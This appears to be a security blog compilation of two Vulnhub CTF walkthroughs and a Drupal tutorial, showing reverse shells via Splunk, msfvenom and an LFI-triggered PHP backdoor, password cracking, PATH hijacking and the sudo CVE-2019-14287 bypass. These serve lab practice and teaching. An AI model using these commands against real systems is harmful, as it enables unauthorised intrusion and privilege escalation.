HA: Avengers Arsenal Vulnhub Walkthrough


Today we are going to solve our Capture the Flag challenge called “HA: Avengers Arsenal” We have developed this lab for the purpose of online penetration practices. It contains 5 flags in the form of Avenger’s Weapons. Let's Solve it!!

Download Here

Level: Intermediate

Task: Find 5 Flags on the Target Machine.

Penetration Methodologies

·         Network Scanning
·         Netdiscover
·         Nmap

·         Enumeration
·         Browsing HTTP Service
·         Enumerating Git logs
·         Directory Bruteforce using drib
·         Decoding using Spammimic
·         Enumerating using cupp
·         Bruteforcing using John the Ripper

·         Exploitation
·         Getting a reverse connection
·         Spawning a TTY Shell
·         Privilege Escalation

·         Path Variable

Walkthrough
Network Scanning

After downloading and running this machine in VMWare Workstation, we started by running the Netdiscover command to obtain the IP Address of the target machine. After matching the MAC and IP Address we have obtained the Virtual Machine IP address, 192.168.1.101 (the target machine IP address).
netdiscover

So, as we have the target machine IP, the first step is to find the ports and services that are available on the target machine. A Nmap aggressive port scan is used for this purpose. This is illustrated in the image given below.
nmap -A 192.168.1.101

We got a lot of important information from this scan. For starters, we get the .git directory. We are going to enumerate it. We also got the /groot directory. It is also worth taking a look. And alas we got the Splunk service running at port 8000 and 8089.
Let’s start with the HTTP port. We quickly opened the target machine IP on the browser. A web page was running through this port which can be seen in the following image.
http://192.168.1.101

Before enumerating any further we went back to our nmap scan to get that .git directory. We decided to open it. Upon opening the .git directory we found a logs directory. We opened it to find the HEAD page. Here on the HEAD page we found another link mentioned “https://github.com/Hackingzone/hackingarticles.git”

We thought it was worth taking a look, so it was better to clone this git to out attacker machine and then investigate it further. Hence, the git clone command allows to transfer the git to our Kali Linux. Here, after cloning we see that a directory is created with the name of hackingarticles. We traversed into that particular directory. Here to inspect the git repo we used the command git log.  This gave us a commit worth enumerating.
git clone https://github.com/Hackingzone/hackingarticles.git
cd hackingarticles/
ls
git log

After getting inside the hackingarticles directory we see that there are a bunch of text files. But amongst them was a “updated” log entry. This seemed interesting. So, we took a close look using the git show command. And here we have a Base64 Encoded text.
git log 4fb65717a4bdfa8169fb0642abf0f355f7eea048
git show 4fb65717a4bdfa8169fb0642abf0f355f7eea048
Q2FwdGFpbiBBbWVyaWNhJ3MgU2hpZWxkOnswNjE3ODZEOUE4QkI4OUEyRkU3NDVERDI2RkUyRTEzQ30=


As we identified the encoded text to be base64 we tried to decode it with the combination of the echo command with the base64 -d. This gave us our First Flag: Captain America's Shield
echo "Q2FwdGFpbiBBbWVyaWNhJ3MgU2hpZWxkOnswNjE3ODZEOUE4QkI4OUEyRkU3NDVERDI2RkUyRTEzQ30=" | base64 -d

Moving on as a part of the Enumeration, we also started a directory bruteforce scan using the dirb tool. Here we found a bunch of directories like css and images. We thought that let’s inspect all the directories in search of another flag.
dirb http://192.168.1.101

So, we opened the images directory in our Web Browser. We see that there are bunch of different images in this directory that would be appearing on the website. We tried opening each and everyone of them. And we found something different with the image named “17”

Upon opening this image, we found that it was a QR Code. This didn’t appear on the website that was running on the port 80. So, we decide to read it to proceed further.
http://192.168.1.101/images/17.jpeg

We used a Mozilla Firefox Web Browser Plugin to decode the QR Code. You can use any method or tool of your preference. This read out to be “spammimc”. This is definitely an interesting hint.

As this word is new to any of the dictionaries that we used the in directory bruteforce. So, there might be a probability of finding a directory with that name. Which would be hidden to any of the directory bruteforce scan. We tried to open the directory with the name spammimc. And it was a success we found a text file called sceptre.txt. This is great as we are closer to our next flag.

We opened the scepter.txt, to find it to be absolutely blank. This was a bummer. But as we inspected the page closely; we found that there was indeed something written but it seemed to be hidden in the plain sight. But how to get our flag from this seems to be a mystery. We went back to the hint we got, “spammimc”. There seems to be more that to it than it meets the eyes. So, we googled it.

We found this cute little site that encodes and decode the text in various formats. This is really clever. We searched for the blank space. And then copied the contents of the scepter.txt and pasted here on the spammimc website to decode it. Upon decoding we found that it is our second flag.
Loki’s Scepter

We got the 2 flags. It’s a good start. Now moving on, we went back to our initial nmap scan. We saw that we found a directory named groot. How amazing. This is absolutely our way to another flag. So, we browsed the groot directory in our browser to find a zip file called “hammer.zip”. Brilliant.
http://192.168.1.101/groot

We download the zip file to our attacker system and tried to open it. Upon opening we see that it contains a pdf file with the name Mjølnirlonir. But it asks for a password. This is speedbump.

Cracking passwords is not that easy. We need to do enumeration for it. We went back to the webpage we saw earlier. We saw that there is a link to another webpage. It seemed like a spoof of a Social Network Account. This seemed to be the one of Tony Stark.
192.168.1.101/avengersbook.html


We see that we have the name, alias, address, date of birth and other important stuff and usually people keep the passwords related to it. So, we decided to use the cupp to create a dictionary of the most probable passwords. We fired up the cupp as illustrated in the given image. We provided the following information to it.
./cupp.py -i
First Name: tony
Surname: stark
Nickname ironman
Bithdate: 01052008
After providing these details, cupp made us a nice short dictionary and named it tony.txt.

Now that we have the dictionary to bruteforce, its time to get the hash to bruteforce. For this we are going to need a script called zip2john. It gives us the hash from the zip file that could be cracked with John the Ripper.  After getting the hash we ran the John the Ripper to find out that the password for the zip file is Stark12008.
locate zip2john
cd Downloads/
/usr/sbin/zip2john hammer.zip > hash
john --wordlist=/root/cupp/tony.txt hash

Moving on we extracted the contents of the zip file. To see that it contains a pdf document.
unzip hammer.zip

We tried to open the pdf document. But we find that it is yet another protected with a password.

Now we are going to bruteforce the password like we did with the zip file. First, we are going to need to get a password hash. We used the pdf2john script for that process. After getting the hash we tried to crack the password on the pdf file using John the Ripper. It came out to be “Tony_050081”.
/usr/sbin/pdf2john.pl Mjølnirlonir.pdf > hashes
john --wordlist=/root/cupp/tony.txt hashes


Now that we have the password for the pdf file we went back to the file. We entered the password that we just cracked. And That’s when we get another flag. It’s the Thor’s Mjølnir.

As we don’t have any way to move forward from here, we went back to the original website hosted on the port 80. As we have seen in some of the previous labs that the lab authors love to hide hints in the source code. So, we started to examine the source code of the lab. We find that there is a reference of a link that was not connected to any particular Button or text on the webpage. Only way to access it, is through clicking on it through the source code. It is named ravagers.html. Love the Guardians of the Galaxy Reference.

Hoping we hit a lucky spot we rushed to open the said link. Much to our demise we find that it was just a blank page. For a while it seemed that it was a rabbit hole. But we remembered how we got here in the first place, through the source code. So, we tried looking at it. And we found some number that might look like hex code.

We went on to an online hex converter. To find that it says “agent:avengers”. As per convention we know that mostly the login credentials are written in that format separated by colon.

It was a thought that where we might put these credentials. Then we remembered that in our initial nmap scan. We found the Splunk is installed on the system. Looking for flags everywhere, we actually kind off forgot all about the Splunk. So, we decided to try and open the Splunk portal by browsing the IP Address followed by the port on which Splunk is running.  
http://192.168.1.101:8000

The information we got earlier from the previous screenshot is in fact login credentials. The username is “agent” and the password are “avengers”, we enter these and are able to get into the Splunk account.
We looked around for a while and then decided to upload a shell to the account. On searching, we found a way to weaponize Splunk with reverse and bind shell from this link.


The .gz file from the link was saved on our system, we navigate to the “App: Search & Reporting” option and click on “Manage Apps”.

Click on the “Upload app” option. Using the browse option, we find our shell, select it and upload it.

Click on the “Restart Now” to restart the application.
We scroll down to find our shell file as shown below. Before we can run, it we need to click on the “Permissions” option to change its permissions.

Configuration files need to be added in order to run the shell successfully, here we set permission to everyone and at the bottom, we click on the “All apps” radio button and save this change.


Now to execute the shell. We navigate to the search option in Splunk and type in our command defining that we want a reverse shell of standard type to talk to out attach machines IP on the listening port.
| revshell std 192.168.1.107 1234

Netcat is running on our machine listening on port 1234 and see shell talking back.
nc -lvp 1234

We used Msfvenom to create a python payload.
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.107 lport=4444 R

The payload is uploaded through our existing Netcat session, all that needed to be done was the payload to be pasted into the terminal and executed.
id

Privilege Escalation
A new Netcat session is started on the port (4444) that we defined in our payload and we see the execution occur flawlessly.
nc -lvp 4444
python -c 'import pty;pty.spawn("/bin/bash")'
find / -perm -u=s -type f 2>/dev/null

Then without wasting any time we searched for any file having SUID or 4000 permission with the help of Find command.
The Find command gave us an interesting file named “ignite”. We will try to enumerate this further.

Now, we need to compromise the target system further to the escalate privileges. PATH is an environmental variable in Linux and Unix-like operating systems which specifies all bin and sbin directories that hold all executable programs are stored. When the user run any command on the terminal, its request to the shell to search for executable files with the help of PATH Variable in response to commands executed by a user. So, when we exported the PATH and ran the command. It gave us the root shell. After getting the root shell we moved onto the root directory to look for flags. Here we find a final.txt. We opened the flag using the cat command to find the Strom Breaker Flag.
cd /tmp
echo "/bin/bash" > ifconfig
chmod 777 ifconfig
export PATH=/tmp:$PATH
/opt/ignite
cd /root
ls
cat final.txt

Now although we have rooted the lab and this could be the end of the lab if it was labelled as Boot to Root. But it is defined as Capture the Flag and so far, we have 4 flags. That means we are at a loss of one flag. So, to look for it we were enumerating in the /opt directory. Here we found 2 files. One was yakahints.txt. So nice of them to give us hints like that. And another was an MS Excel File named yaka.xlsx. We opened the yaka hints. To find that it says “Guardians of The Galaxy Vol. 1 Release date is 20 14”. That is definitely a bizarre way to write a date. Keeping in mind, we download the file to our system by transferring the file to /var/www/html.
cd /opt
ls
cat yakahints.txt
cp yaka.xlsx /var/www/html/

Now, after downloading we find that the file was absolute blank. But that hint, contained the date written in a weird way. So, we thought what if 20 was the Row and 14 was the column. Now as the Excel sheet has Columns written as alphabets. We went on to the 14th alphabet. After going to the cell N20, we see that we have the Final flag in the Formula Bar. We found the fifth flag. 

This concludes the Lab. We hope the readers might learn a lot from this CTF Challenge. This Lab is truly testing one’s ability to Enumerate.
Author: Pavandeep Singh is a Technical Writer, Researcher and Penetration Tester Contact here

HA Rudra: Vulnhub Walkthrough


This is our Walkthrough for HA: Rudra” and this CTF is designed by Hacking Articles Team 😊. Lord Rudra also known as Shiv, Bolenath, Mahadev and he is Venerable by Hinduism. We have designed this vm because it is festival eve in India and all Indian strongly believe in Indian culture and religions and also to spread awareness of Indian culture among all people, hope you will enjoy.
There are multiple methods to solve this machine or direct way to finish the task.
You can download from here.
Level: Intermediate
Task: Boot to Root

Penetration Methodologies
Initial Recon
·        Ndetsicover
·        Nmap
·        Shared directory
·        dirb
Initial Compromise
·        LFI
Established Foothold
·        Netcat session
Internal Recon
·        Access Mysql database
Data Exfiltration
·        Steganography
Lateral Movement
·        Connect to ssh
Privilege Escalation
·        Sudo rights

Walkthrough
Initial Recon
First of all, we try to identify our target. We did this using the netdiscover command. It came out to be
192.168.1.101


Now that we have identified our target using the above command, we can continue to our second step that is scanning the target. We will use nmap to scan the target with the following command:
nmap -A 192.168.1.101
We found port 22, 80 and 2049 are open for ssh, http and nfs respectively, let’s go for services enumeration.

When you will explore machine IP in the web browser, it will display the beautiful sight of lord shiva.


If you didn’t find any hint from web page, then without wasting time enumerate the share directory since nfs service is running on the host machine.
showmount -e 192.168.1.101
cd /tmp
mkdir ignite
mount -t nfs 192.168.1.101:/home/shivay /tmp/ignite
cd ignite
ls


when you will mount the whole shared directory in your local machine, you’ll a text file named “mahadev.txt”.


Till now we didn’t find any hint to establish our foothold, therefore we chose DIRB for directory brute force attack and Luckily found url for robots.txt file.

Now when you will navigate to following URL, it will give a hint for nandi.php
http://192.168.1.101/robots.txt
But on exploring /nandi.php, it will give you blank page and this hint might be indicating possibility for LFI.
http://192.168.1.101/nandi.php

Initial Compromised
To ensure that the host machine is vulnerable to LFI, you need to try to extract /etc/passwd file and this will show you some usernames from here: Rudra, Shivay and mahakaal as shown below.
This phase is considered as initial compromised stage because with the help of LFI we are able to extract low privilege data.

Established foothold
To established foothold you need to spawn shell of the host machine by injecting malicious file. As you know due to nfs we are able to access share directory and also web application is vulnerable to LFI and for exploiting the host machine first upload the php backdoor (penetestmonkey php reverse shell) inside the mount directory “/tmp/ignite” and then execute it through web browser.

As you can observe in above image, we have uploaded the php backdoor inside /tmp/ignite and now will use LFI to trigger the shell.php file. Keep the netcat listener ON for reverse connection.
http://192.168.1.101/nandi.php?file=/home/shivay/shell.php

Internal Recon
As soon as you will trigger the backdoor, it will give reverse connection of the host machine.
Once we have compromised the host machine, then go for Internal Recon, as you can observe this time, we have used netstat to identify the network statics and found mysql is running on localhost.

Without wasting time, we get into mysql dbms and enumerated following information:
Database name: mahadev
Table name: hint
Record: check in media filesystem
It means there are is something inside media filesystem and author wants to dig it out.

Data Exfiltration-Steganography
So, when you will move inside /media directory then you will get two files named “creds and hint” and the “hint” file contains following hints:
Message: Without noise
The cred file contains emojis and it looks like a kind of steganography, download the cred file in your local machine (I saved as /root/pwd) and without wasting we explored the given link. This link will open the article on data exfiltration tool named cloackify which is used by author for hiding text behind emojis.



With the help of above link, you can extract the hidden text behind emojis. Follow the below step in your local machine.
Download the tool from github and run python script as shown then decrypt the file without noise as given inside the hint file.
python cloackifyFactory.py
Press key: 2
Decloackify path: /root/pwd
Path for saved decloacked data: /root/decodedpwd
Add noise: No

Choose emoji as type of ciphers and press key 3. This will save the decoded text inside /root/decodedpwd as shown below.

And we found the credential for following:
Username: mahakaal
Password: kalbhairav

Lateral Movement
So with the help above credential we connect to ssh service and start post enumeration. Thus, we check sudo right for mahakaal and found that he has sudo right to run /usr/bin/watch program other than root which means with ALL specified, user mahakaal can run the binary / usr/bin/watch as any user.

Privilege Escalation
The author added this loophole because it is latest zero-day exploit CVE: 2019-14287 and you should to proactive to bypass it.
Type following for escalating the root the shell:
sudo -u#-1 watch -x sh -c ‘reset; exec sh 1>&0 2>&0’ -u
cd root
cat final.txt
Conclusion: The VM was designed to cover each track of kill chain by considering red team approach and proactive learning with latest vulnerabilities.
Hope you have enjoyed this machine. Happy Hacking!!!!!!!

Drupal: Reverseshell


In this Post, you will learn how to test security loopholes in Drupal CMS for any critical vulnerability which can cause great damage to any website if found on any webserver.  In this article you will learn how a misconfigured wep application can be easily exploit.

Remote code Execution: Remote Code Evaluation is a vulnerability vulnerability that occurs because of the unsafe handling of inputs by the server application or that can be exploited if user input is injected into a File or a String and executed by the programming language's parser or the user input is not sanitised properly in POST request and also when accepting query string param during GET requests.

Therefore a Remote Code Evaluation can lead to a full compromise of the vulnerable web application and also web server.

Let’s Begin!!
So the drupal is accessable through web broswer by exploring following URL:
And this open the default home page, to access the dash board you must have credential for login.


So, to access the user console, I used following creds.
Username:raj
Password:123


After accessing the admin console, it was time to exploit web application by injecting malicious content inside it. Directly writing malicious scripts as web content will not give us the reverse shell of the application but after spending some time, we concluded that it requires PHP module. We, therefore, move to install new module through Manage>Extend>List>Install new module.
You can download the PHP package for Drupal from the URL below and upload the tar file to install the new module.
https://www.drupal.org/project/php


To install php module upload the tar file that was downloaded.


So, when the installation is completed, we need to enable to added module.


Again, move to Manage > Extend >filters and enable the checkbox for PHP filters.


Now use the Pentest monkey PHP script, i.e. “reverse shell backdoor.php” to be injected as a basic content. Don’t forget to add a “listening IP & port” to get a reversed connection. Continue to change the “text format to PHP” and enable the publishing checkbox. Keep the netcat listener ON in order to receive the incoming shell.

When everything is set accordingly, click the preview button and you’ll get the reverse connection over the netcat.


Hence, we got the reverse connection of the host machine.